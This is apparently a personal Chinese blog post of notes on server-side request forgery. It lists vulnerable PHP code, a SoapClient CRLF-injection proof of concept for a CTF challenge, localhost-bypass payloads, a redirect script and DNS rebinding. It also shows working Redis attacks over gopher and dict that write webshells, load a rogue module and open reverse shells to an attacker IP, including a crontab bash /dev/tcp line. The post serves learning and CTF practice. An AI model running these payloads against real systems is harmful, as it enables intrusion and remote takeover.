2022-02-09安全学习相关19 分钟读完 (大约 2810 个字) 0次访问

SSRF的一些总结

摘要：SSRF的一些个人笔记，记录简略，仅供参考。

什么是SSRF

全称为服务端请求伪造（Server-Side Request Forgery）。

原理：攻击者通过控制一台服务端的受害机从而对本不可访问的资源进行访问或操作。

危害/利用方式：

file协议读取文件
内网信息搜集（内网主机、端口、服务banner信息、应用指纹等的探测）
攻击内网应用
进行跳板攻击

容易出现SSRF漏洞的地方：

社交分享功能：获取超链接的标题等内容进行显示
转码服务：通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
在线翻译：给网址翻译对应网页的内容
图片加载/下载：例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片
图片/文章收藏功能：主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
云服务厂商：它会远程执行一些命令来判断网站是否存活等，所以如果可以捕获相应的信息，就可以进行ssrf测试
网站采集，网站抓取的地方：一些网站会针对你输入的url进行一些信息采集工作
数据库内置功能：数据库的比如mongodb的copyDatabase函数
邮件系统：比如接收邮件服务器地址
编码处理、属性信息处理，文件处理：比如ffpmg，ImageMagick，docx，pdf，xml处理器等
未公开的api实现以及其他扩展调用URL的功能：可以利用google语法加上这些关键字去寻找SSRF漏洞。一些的url中的关键字有：share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
从远程服务器请求资源

PHP中相关函数

file_get_contents();
readfile();
fsockopen();
curl_exec();
fopen();
PHP原生类SoapClient

<?php
# 以curl_exec()为例
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, $_GET['url']); 
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0); 
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); 
curl_close($ch); 
?>

关于SOAP SSRF：

public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )
第一个参数是用来指明是否是wsdl模式
如果为null，那就是非wsdl模式，反序列化的时候会对第二个参数指明的url进行soap请求

如果第一个参数为null，则第二个参数必须设置location和uri
    其中location是将请求发送到的SOAP服务器的URL
    uri是SOAP服务的目标名称空间

第二个参数允许设置user_agent选项来设置请求的user-agent头
  
location影响最终的请求host和path
可以在user_agent和uri处实现CRLF注入

通过SOAP实现CRLF注入（以下代码为CTFshow Web259的PoC）：

<?php

$payload = "token=payload";

$o = new SoapClient(null, array("location"=>"http://127.0.0.1/flag.php","user_agent"=>"test\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($payload)."\r\n\r\n".$payload, "uri"=>"test"));

echo urlencode(serialize($o));

绕过Tricks

特殊地址绕过：

Mark一个github项目：SSRF-Testing，该项目下ip.py可以生成可用的绕过payload，可以配合burp的intruder模块进行fuzzing

http://localhost/         # localhost就是代指127.0.0.1
http://0/                 # 0在window下代表0.0.0.0，而在liunx下代表127.0.0.1
http://0.0.0.0/       # 0.0.0.0这个IP地址表示整个网络，可以代表本机 ipv4 的所有地址
http://[0:0:0:0:0:ffff:127.0.0.1]/    # 在liunx下可用，window测试了下不行
http://[::]:80/           # 在liunx下可用，window测试了下不行
http://127。0。0。1/       # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响，最后还是会指向127.0.0.1
http://2130706433/ # 十进制绕过
http://0177.0.0.1/ # 八进制绕过
http://0x7f.0.0.1/ # 十六进制绕过

302跳转绕过：

https://4m.cn/

http://nip.io/

http://sslip.io/

或者在自己的主机上搭一个重定向服务或者使用.htaccess，上文的github项目中也有提及

<?php
// php 版本
$h_p_p = explode("@", $_GET['h']);
$host = $h_p_p[0] or '127.0.0.1';
$port = $h_p_p[1] or '80';
$path = $h_p_p[2] or '';
header("Location: http://$host:$port/$path", TRUE, 302);
?>

<script language="javascript" type="text/javascript"> 
  // 以下方式直接跳转
  window.location.href='https://www.hn13.top/relocation.html';
  </script>

DNS重绑定绕过

传统的SSRF过滤：

传统SSRF过滤器的方式大致是以下几个步骤：
获取到输入的URL,从该URL中提取host
对该host进行DNS解析,获取到解析的IP
检测该IP是否是合法的,比如是否是私有IP等
如果IP检测为合法的,则进入curl的阶段发包

因此其原理：**是在自己的恶意机上搭建DNS服务器，返回一个TTL为0的外网IP，而后返回内网IP。而由于缓存时间短导致之后被攻击者需要再次请求DNS服务器从而拿到内网IP，这样就绕过了内往IP的限制。

使用上文github项目中的dns.py

1
2
3

pip install twised
python dns.py WhitelistedIP InternalIP Port
python dns.py 216.58.214.206 169.254.169.254 53

或者这个网站。

Java中的SSRF

局限性

原生Java中可以在import sun.net.www.protocol查看支持的协议：

1	file ftp mailto http https jar netdoc

根据这篇文章测试，协议的限制无法通过跳转绕过。因此得出结论：

Java的SSRF利用方式比较局限

利用file协议任意文件读取。

利用http协议端口探测

DNS重绑定绕过注意点

关于DNS重绑定，需要注意：由于Java应用默认TTL为10s，因此会导致DNS Rebinding绕过失败。

关于修改Java TTL值的修改方式：

1
2
3

1、修改/Library/Java/JavaVirtualMachines/jdk1.8.0_121.jdk/Contents/Home/jre/lib/security/java.security(我MAC下的路径)里的networkaddress.cache.negative.ttl=0

2、通过代码进行修改java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0");

一些实际利用

打Redis

Gopher+redis

利用要求：redis可以未授权访问

包括下面的Dict协议，都是利用了redis能够写文件的特性

1、写Webshell

工具：gopher payload构造或者Gopherus

1 2	python gopherus.py --exploit redis # 而后在命令行中指定写入目录和内容

2、计划任务写反弹Shell（系统限制CentOS）

工具：同上

1 2	python gopherus.py --exploit redis # 而后在命令行中指定接受Shell的主机ip和定时任务的目录

3、利用主从复制+Redis外部扩展getshell

主从复制：指将一台Redis服务器的数据复制到其他的Redis服务器，该复制是单向的只能从主到从。

Redis外部扩展：Reids 4.x之后，Redis新增了模块功能，通过外部拓展，可以实现在redis中实现一个新的Redis命令，通过写c语言并编译出.so文件

工具：rogueserver+gopher payload构造

原理：设置被攻击机为从机，我方恶意机为主机，通过主从复制同步恶意模块到被攻击机从而实现getshell

Payload(网鼎杯2020 玄武组SSRFme，具体的payload可以使用gopher payload构造工机构造):

<?php
echo urlencode("gopher://0.0.0.0:6379/_auth%20root%0aconfig%20set%20dir%20/tmp/%0aquit");
echo "\n";
echo urlencode("_auth%20root%0aconfig%20set%20dbfilename%20exp.so%0aslaveof%20172.16.169.216%206666%0aquit");
echo "\n";
echo urlencode("_auth%20root%0amodule%20load%20/tmp/exp.so%0asystem.rev%20172.16.169.216%206663%0aquit");

实际上执行的redis命令

# 设置本地数据库文件为exp.so，并将被攻击机上的redis作为攻击机172.16.169.216上的Redis的从服务器
config set dbfilename exp.so
slaveof 172.16.169.216 6666
quit
# exp.so中集成好了反弹shell直接执行对应命令即可
module load /tmp/exp.so
system.rev 172.16.169.216 6663
quit

攻击步骤：

1、在172.16.169.216使用rogueserver假设恶意redis服务作为主服务器

2、通过gopher设置被攻击机数据库文件为exp.so，并将被攻击机上的redis作为攻击机172.16.169.216上的Redis的从服务器

3、nc架设好准备接受反弹shell

4、gopher远程执行反弹shell命令

Dict+redis

原理：dict协议如果发送请求dict://serverip:port/name:data相当于向服务器的端口请求name data并在末尾自动补上CRLF

所以常规的写crontab、写Webshell等都可以可以用上，替换成对应格式便可：

flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

flushall
config set dir /tmp
config set dbfilename shell.php
set 'webshell' '<?php phpinfo();?>'
save

本文标题：SSRF的一些总结
本文作者：Hn13
本文链接：https://www.hn13.top/2022/02/09/SSRF的一些总结/>
发布时间：2022-02-09
版权声明：本博客所有文章除特别声明外，均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处！

#Web安全